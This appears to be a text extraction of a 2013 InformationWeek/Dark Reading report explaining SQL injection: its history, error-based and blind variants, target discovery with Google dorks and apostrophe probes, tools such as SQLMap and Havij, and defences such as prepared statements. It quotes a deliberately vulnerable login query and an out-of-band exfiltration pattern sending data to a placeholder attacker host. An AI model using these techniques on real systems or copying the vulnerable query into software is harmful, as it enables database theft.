reports.informationweek.com september 2013 $99 … · 8 figure 3: havij 9 getting inside the...

12
Report ID: S7390913 Next rep o rts Anatomy of a SQL Injection Attack Reports.InformationWeek.com September 2013 $99 SQL injection is the attack method that just won’t go away. For 15 years it has been wreaking havoc on the enterprise. Does that mean SQL injection attacks are unstoppable? Hardly. Rather, it means we have a history of experience to draw — and learn — from. In this Dark Reading report, we examine the ways in which SQL injection attacks are perpetrated and what you can do to ensure that your organization does not fall prey. By Brian Prince Presented in conjunction with

Upload: phungcong

Post on 12-May-2018

217 views

Category:

Documents


2 download

TRANSCRIPT

Report ID: S7390913

Next

reports

Anatomy of a SQL Injection AttackR e p o r t s . I n f o r m a t i o nWe e k . c om S e p t e m b e r 2 0 1 3 $ 9 9

SQL injection is the attack method that just won’t go away. For 15 years it

has been wreaking havoc on the enterprise. Does that mean SQL injection

attacks are unstoppable? Hardly. Rather, it means we have a history of

experience to draw — and learn — from. In this Dark Reading report, we

examine the ways in which SQL injection attacks are perpetrated and

what you can do to ensure that your organization does not fall prey.

By Brian Prince

Presented in conjunction with

Previous Next

reports

reports.informationweek.com September 2013 2

CONT

ENTS

TABLE OF

3 Author’s Bio

4 Executive Summary

5 Anatomy of a SQL Injection Attack

5 Figure 1: What Is SQL Injection?

6 The History of SQL Injection

6 Figure 2: SQL Injection in Action

7 Finding the Vulnerability

8 Figure 3: Havij

9 Getting Inside the Database

10 Shutting the Door on Hackers

12 Related Reports

A n a t o m y o f a S Q L I n j e c t i o n A t t a c k

ABOUT US

InformationWeek Reports’ analysts arm business technology decision-makers with real-world perspective based on qualitativeand quantitative research, business and technology assessment andplanning tools, and adoption best practices gleaned from experience.

OUR STAFFLorna Garey, content director; [email protected] Vallis, managing editor, research; [email protected] Chodak, copy chief; [email protected] DeFilippo, associate art director; [email protected]

Find all of our reports at reports.informationweek.com.

September 2013 3

Previous Next

© 2013 InformationWeek, Reproduction Prohibited

reports

reports.informationweek.com

A n a t o m y o f a S Q L I n j e c t i o n A t t a c k

Brian Prince is a freelance writer for a number of IT security-focused publica-tions. Prior to becoming a freelance reporter, he worked at eWEEK for five years,covering not only security, but also a variety of other subjects in the tech indus-try. Before that, he worked as a news reporter for the Asbury Park Press and re-ported on everything from environmental issues to politics. He has a BA in jour-nalism from American University.

Table of Contents

FollowFollowFollowFollow

Want More?

Never Miss a Report!

September 2013 4

Previous Next

Safeguarding data is one of the most important tasks of any IT organization. But 15years after its coming-out party, SQL injection remains a threat to databases of all sizes.Attackers have the tools and motivation to go after vulnerable Web applications and usethem as a gateway into a company’s database. Once inside, the level of havoc that can bewreaked ranges from stolen data to data corruption. In any case, failure to protect against SQL injection attacks is a serious security lapse. In-

deed, database designers and application developers are far from helpless — by properlysanitizing user input and taking steps such as limiting the information in error messages,IT can do its part to protect the organization from the type of data theft sure to makeheadlines. In this Dark Reading report, we examine how a SQL injection attack is leviedand provide tips on how you can mitigate the risk of such attacks.

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k

EXECUTIVE

SUM

MAR

Y

Table of Contents

September 2013 5

It started with a vulnerability on a passwordreminder page and ended with a compromiseof Nasdaq’s computer network. Such is the lifeof a SQL injection vulnerability, one of themost prevalent and well-known classesof security flaws affecting organizationstoday.A seemingly permanent fixture on the

Open Web Application Security Project’slist of top 10 Web application vulnerabil-ities, SQL injection has a long history asa weapon for the world’s black hats toblast their way into corporate databases.In July, the U.S. Justice Department an-nounced an indictment against five menaccused of stealing more than 160 mil-lion credit card numbers and causinghundreds of millions of dollars in lossesin attacks on more than a dozen organi-zations, including the one on Nasdaq. The stakes cannot get much higher.

According to Trustwave’s “2013 GlobalSecurity Report,” SQL injections ac-

counted for 26% of the infiltration methodsused by hackers in the data breaches it ana-lyzed in 2012. Fighting these attacks meansmore than just understanding where flaws lie

in the code. It also means understanding thecyber kill chain — the life cycle of the attacks targeting the corporate network. Armed withthat knowledge, organizations can begin to

Previous Next

SQL injection is a type of Web application security vulnerability in which an attacker is able to submit a database SQL command that’s executed by a Web application, exposing the back-end database. According to Veracode’s annual “State of Software Security Report,” SQL Injection is one of the most prevalent types of Web application security vulnerabilities.

What Is SQL Injection?

Data: Veracode S7390913/1

S

reports.informationweek.com

Anatomy of a SQL Injection Attack

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k Table of Contents

Figure 1

September 2013 6

take a smarter approach to defending theirdatabases and making sure the Web applica-tions that access them don’t serve as un-guarded gateways for attackers.

The History of SQL InjectionIn the beginning, there was a database. And

the life of that database was simple. It storedinformation, and, upon request, it made thatinformation accessible to others. And the admin who ran that database was happy.Unfortunately, the story doesn’t end there

for the admin, as SQL injection vulnerabilitieswere discovered in applications connecting tothe database. The first publicized mention ofSQL injection is believed to have been in a1998 issue of Phrack, the long-running hacker e-zine. Fifteen years later, it remains a com-mon hole in database security.“Much like buffer overflow vulnerabilities,

SQL injection vulnerabilities stem from theway application code is written — or, as somepeople may claim, programming mistakes,”says Amichai Shulman, CTO at Imperva. “Tak-ing the latter simplistic point of view, it is easy

to see why SQL injection vulnerabilities areso prevalent and even increasing. The morecode you have and the more complex it is,the more programming mistakes it contains.In the past 15 years we have seen new codebeing written at an ever-growing pace andlegacy code piling up at the same time. Moreand more applications are using SQL data-bases for storage … and more vulnerable

components are being widely reused.”Put simply, SQL injection is a technique in

which the attacker uses a vulnerability in thecode to send malicious SQL statements to adatabase. This happens when user input that’snot properly filtered and validated is utilizedin SQL queries to databases accessible by vul-nerable applications. There are multiple typesof SQL injection attacks, with these two types

Previous Next

This is an example of code that might be used in a SQL injection attack. Notice that user input is required to run the query. The interpreter will execute the command based on the inputs received for the user name and password fields.

Data: Veracode S7390913/2

S

SQL Injection in Action

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k Table of Contents

Figure 2

September 2013 7

Previous Next

being the most common categories: >> Error-based SQL injection: In error-

based SQL injection, the attacker forces thedatabase to perform an operation that will result in an error, and then examines the errormessage for information that can be used tobuild a working exploit with the correct syn-tax. Organizations often seek to mitigate thisby limiting the amount of information con-tained in error messages. >> Blind SQL injection: This is a type of SQL

injection attack that’s used when vulnerableapplications are configured to show genericerror messages. It relies on the attacker askingthe database a true or false question and ex-amining the application’s response. If the response is different, the attacker can deter-mine whether or not the database has beensuccessfully accessed. Attackers have a number of different exploit

methodologies at their disposal. For example,attackers sometimes use a method known astime-based blind SQL injection, which involves getting the database to pause for aspecific period of time, and then comparing

the response times between normal requestsand injected requests to determine if a SQLstatement was successfully executed. Often,attackers use the HTTP GET and HTTP POSTparameters as attack vectors, though cookieshave been leveraged, as well.But just which of the varying types of SQL

injection is more prevalent today depends onwhom you ask. Some contend it is error-basedSQL injection, while others say that the factthat many apps do not reveal detailed errorinformation has made blind SQL injectionmore popular. “The fact that developers assume user input

is trusted by default keeps this attack vectoralive,” explains Tommy Chin, technical sup-port engineer at CORE Security. “The type ofSQL injection is not important. As long as certain characters are allowed as user input,then SQL injection can be leveraged.”The good news, if there can be any, is that

the number of SQL injection vulnerabilitiesmay be going down. According to WhiteHatSecurity’s “Website Security Statistics Re-port,” released in May, SQL injection dropped

to No. 14 in its list of the top 10 classes of vul-nerabilities in 2012, appearing in just 7% ofsites the company assessed. However, asWhiteHat pointed out, the prevalence of avulnerability is not the only factor thatshould be used to judge its severity. After all,if a SQL injection vulnerability is successfullyexploited, the fallout can span everythingfrom the theft of customer data to the de-struction of propriety records.

Finding the Vulnerability Before any of that can happen, however, at-

tackers must first find a vulnerability to exploit.They can go about this process in a number ofways. For starters, they have the option of us-ing Google Dorks. This is known as Googlehacking, where attackers use specially craftedsearch queries to find potentially vulnerablesites. In some cases, they have been observedusing both tools and botnets to automate thisprocess and generate queries.With Google hacking, attackers construct a

query that includes search operators intendedto return results about potential targets. If at-

Choosing and Implementing an Enterprise Database Encryption Strategy

Unless there is absolutely nothing of value in your organi-zation’s databases, you should beimplementing data encryption.This Dark Reading report exam-ines the different options avail-able, as well as alternatives forthose situations when encryp-tion is not an option.

DownloadDownload

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k Table of Contents

September 2013 8

tackers are interested in a particular site, theyuse queries containing Google’s site operator“site: [ Target URL].” A favorite of hackerssearching for SQL injection is the ”inurl:” oper-ator, which restricts the results to those con-taining the term in the URL. For example, “inurl:smb site:www.darkreading.com” wouldreturn results that include pages onwww.darkreading.com that contain the term“SMB” in the URL.There are websites that list a number of

Google Dorks to help attackers as they zero inon a target. After entering a dork into Google,they typically get a bevy of results to test.The next step is to pick a URL, then add

an apostrophe at the end (like this:www.abc.def.com/index.php?id=123’). If thesite being targeted is vulnerable, the databaseserver should return an error message.Delimiter characters in SQL queries such as

apostrophes and quotation marks serve thespecial purpose of marking the ends of a string,says Dan Petro, senior security analyst at IT con-sultancy Bishop Fox. If an attacker is able to in-put one of these delimiters into a SQL query, it

can be used to arbitrarily insert string data andhave it interpreted as instructions.

Here’s a snippet of vulnerable logincode that exemplifies this point:query = “SELECT * FROM users

WHERE username = ‘“ + userName +“’ AND password = ‘“ + userPass + “’;”“This shows the common tech-

nique of SQL string building that isa red flag to any attacker who hasaccess to the application sourcecode,” says Petro. “It can be seenthat the apostrophe character iswhat denotes the beginning andend of the userName and userPassstrings. If these strings are allowedto contain the apostrophe charac-ter, it will interfere with the ordinaryflow of the SQL query. Finding a SQLinjection vulnerability becomes thetask of finding where the applica-tion allows unsanitized user input ofdelimiter characters.”As mentioned earlier, a number of

tools that aid in both the discoveryof vulnerabilities and their exploitation areavailable. These tools are used by penetration

Previous Next

Havij brags about a success rate of 95% against vulnerable targets on MySQL, Oracle, PostgreSQL, Access and Sybase databases.

Data: Dark Reading S7390913/3

S

Havij

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k Table of Contents

Figure 3

September 2013 9

testers and black hats alike. Among the mostpopular are SQLMap and Havij. SQLMapcomes armed with a variety of features, includ-ing automatic recognition of password hashformats and support for cracking them via dic-tionary-based attacks, as well as support forestablishing an out-of-band stateful TCP con-nection between the attacker’s machine andthe database server’s underlying operatingsystem. Havij — which is Farsi for “carrot” —offers similar capabilities to its users. Both toolssupport all the major databases in use today,including SQL Server, Sybase, PostgreSQL,MySQL and, of course, Oracle.“Havij and SQLMap are two of the most-

well-known tools out there,” Imperva’s Shul-man says. “However, individual tools andscripts that exploit specific vulnerabilities inreusable components abound. Most serverbotnet code — usually PHP/Perl code — alsoincludes SQL injection capabilities.”

Getting Inside the DatabaseA treasure map is meaningful only if you can

get to the treasure. Put in IT security terms,

knowing that a vulnerability exists mattersonly if an attacker has the ability to exploit it.Unfortunately, the tools available to black hatsmake this relatively easy.“Attackers will learn as they go and will of-

ten go away to research and plan once theyhave gained some specifics about their tar-get’s environment,” says Josh Shaul, CTO ofdatabase security vendor Application Secu-rity. “Identifying a database is fairly easy onceyou can communicate with it. If an attacker’saccess is via a Web application using SQL in-jection, they can run some simple commandsto get the database to identify itself.”As a next step, attackers can cycle through

commands for each of the popular databaseplatforms until they get a response — therebyidentifying not only the database vendor butalso the patch and release level, says Shaul. “On the other hand, if an attacker simply has

a foothold in the network, they can run freelyavailable network mapping software, such asNmap, which will find and identify databasesfor them,” he adds. “With just the basic info —database vendor and release level — it’s a

simple matter to search the Internet for ex-ploits that will work against those systems.With those exploits in hand, the attacker re-turns to quickly take ownership of the data-bases, at which point they make take the dataand run, or set themselves up with surrepti-tious access that they’ll be able to return toand reuse time and time again.”It’s important for attackers to determine

what database an organization is using be-cause each platform uses different syntax. Butthis is only one piece of the puzzle. Attackersalso need to understand the structure of thedata in the database, such as the names of ta-bles and how many there are.There are several ways to get this informa-

tion. For example, if an application gives theattacker information by error messages, itcould be possible to reveal the number ofcolumns in a table via the Order By clause,which can be used to allow a user to specifythe way rows appear in the result set. If thedatabase exposes information via error mes-sages, attackers can examine and leveragethat by using an invalid identifier for a col-

Previous Next

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k Table of Contents

Like This Report?

Rate It!Something we could dobetter? Let us know.

RateRate

September 2013 10

umn. After getting an error, attackers canchange the parameter until the error stopshappening — ultimately confirming that theparameter used to order the results is also thenumber of columns in a table. “Attack vectors are incredibly diverse,” says

Shulman. “There are attack vectors that aim atextracting information, there are attack vectorsthat aim at manipulating information inside adatabase, and there are attack vectors that cantake down the entire database server. For ex-

tracting information,there exist many differ-ent families of attackvectors, starting withthe simple explicit ex-traction using tautolo-gies (or 1=1) and dataconcatenation (“UNIONSELECT”) and building

up toward complex blindfolded SQL injectionvectors, binary search SQL injection vectors.”An important part of any attack is evasion.

In the case of SQL injection, this can be accomplished through character encoding, as

database languages permit users to manipu-late data values and transform inputs and out-puts when queries are processed. This permitsattackers to build obfuscated and encryptedquery strings that can bypass monitoringagents or confuse system administrators ifspotted in a log file, says Rob Beck, principalconsultant for software security and IT analystfirm Accuvant.Attacks in which the hacker uses the same

communications channel to input the code anddump the information back are called in-bandSQL injections, and are also referred to as in line.Injections that use a different channel to dumpthe data are called out-of-band SQL injections. “Data exfiltration has become increasingly

easier to perform as databases have grown,since many of the new functions in databasespermit network capabilities such as makingURL requests or DNS lookup,” says Beck. “Inthese scenarios, an attacker can perform aquery, then have the result sets shipped tothem over the network by making requestssuch as “http://attackers_host/data_field/data_value”. Then the attacker simply moni-

tors a Web ser vice that they control to retrievethe results. Similarly, an attacker can take con-trol of a DNS server and make lookup re-quests from the database in the form of‘data.controlled_domain.com’, then monitorfor lookups that don’t make known records.”It’s also possible for an attacker to achieve

console access or access to scripting facilitiessuch as PowerShell, he says.“In this case, the attacker has all of the facili-

ties available in the host operating system togather, package and deliver the data just as auser would sitting on the system,” says Beck.“This would afford an attacker the same luxu-ries for evasion and stealth with a SQL injec-tion attack that would ordinarily be reservedfor an attacker that had completely compro-mised the host system.”No matter what method is used, attacks at

this point have followed the X on the map toa treasure trove of data.

Shutting the Door on HackersThe good news is that organizations are far

from helpless when it comes to dealing with

Previous Next

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k Table of Contents

An important part of any attack is eva-

sion. In the case of SQL injection, this can

be accomplished through character en-

coding, as database languages permit

users to manipulate data values ... when

queries are processed.

September 2013 11

SQL injection. For starters, application devel-opers should limit the amount of access ap-plications have to the database — for exam-ple, ensuring that accounts connecting withdatabases use the principle of least privilege.Then there is the matter of data sanitization.“A lot of times, people rely on client-side

data filtering and transformation. This essen-tially provides no safeguards against SQL in-jection attacks — all data sanitization needsto be performed server-side, and the datamust never be trusted,” says Accuvant’s Beck.“Developers need to understand the datatypes they are expecting and then what theyare accepting.”If an input field is only expecting an integer

value, for example, any non-numeric valueprovided by the user should be treated as in-valid and result in an error. The same shouldhold true for textual fields and fields of a spe-cific input length.“Many people believe that just because

they’re using managed code, they don’t needto concern themselves with data lengthchecks since they won’t be subject to attacks

such as buffer overflows,” says Beck. “But in aninjection scenario, having an exceptionallylong input field to manipulate can be infi-nitely valuable for an attacker.”Along the same lines, all queries should use

parameterized stored procedures and/or beconstructed with a prepared statement. Prepared statements enable the developerto construct a SQL query that specifies thevariable components and supplies the vari-able values so that they aren’t interpreted aspart of the SQL statement operators andconstruction. An example of this would be a prepared

statement such as:SELECT username FROM tbl_Users WHERE

username=? AND password=? In that example, explains Beck, the applica-

tion would then supply a variable value forthe ‘username’ and ‘password’ fields. Pre-pared statements also encourage the devel-oper to specify a variable length or data typein many frameworks, enforcing strong datatyping and sanitization, he says.Stored procedures can also mitigate SQL

injection because stored procedure parame-ters are treated as data even if an attacker in-jects SQL commands. However, a stored pro-cedure that generates dynamic SQL using theinput may still be vulnerable to attackers. Dy-namic table names should be avoided whenpossible, but, if they must be used, theyshould not be accepted by the user. One final measure is to avoid putting too

much information in error messages. “Understanding when an application is able

to successfully execute, rather than resultingin an error from incorrect data or syntax issues, is an attacker’s greatest ally in an injec-tion scenario,” says Beck. “If an applicationfails due to query issues, the end user shouldjust be notified that an issue was encountered— in the case of a search field, simply return-ing a result set of ‘0’ is sufficient; if it’s benefi-cial to system operators to notify their usersof specific errors because the users are trustedon some level, then a developer- or architect-defined error code should be provided thatdoes not indicate an issue with the databaseor query was encountered.”

Previous Next

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k Table of Contents

LikeLike TweetTweetTweet

ShareShare

Like This Report?

Share it!

SubscribeSubscribe

Newsletter

Want to stay current on all newInformationWeek Reports? Subscribe to our weeklynewsletter and never miss a beat.

September 2013 12

Previous

reports.informationweek.com

reports A n a t o m y o f a S Q L I n j e c t i o n A t t a c k

MOR

ELIKE THIS

Want More Like This?InformationWeek creates more than 150 reports like this each year, and they’re all free to registered users. We’llhelp you sort through vendor claims, justify IT projects and implement new systems by providing analysis and advice from IT professionals. Right now on our site you’ll find:

10 Most Common Security Vulnerabilities in Enterprise Databases: Databases are among the most vulnerablesystems in any enterprise, because of both the information they contain and their complexity. Knowing how andwhy database systems are at risk is the first step to effectively securing them. Here’s a look at 10 of the most com-mon security weaknesses in databases and what you can do to mitigate them.

What Every Database Administrator Should Know About Security: Database administrators are the caretakersof an organization’s most precious asset — its data — but rarely do they have the experience and skills required to secure that data. Indeed, the goals of DBAs and security pros are often at odds. That gap must be bridged in orderfor organizations to effectively protect data in an increasingly complex and threat-ridden environment. In this DarkReading report, we examine what DBAs should know about security, as well as recommend how database and security pros can work more effectively together.

Security Implications of Big Data Strategies: To understand how to secure big data, you have to understandwhat it is — and what it isn’t. As organizations set about building big data clusters, they’re finding that many of thebest practices for securing such clusters are the same used to secure any corporate data. However, there are somebig differences as well.

PLUS: Find signature reports, such as the InformationWeek Salary Survey, InformationWeek 500 and the annualState of Security report; full issues; and much more.

Table of Contents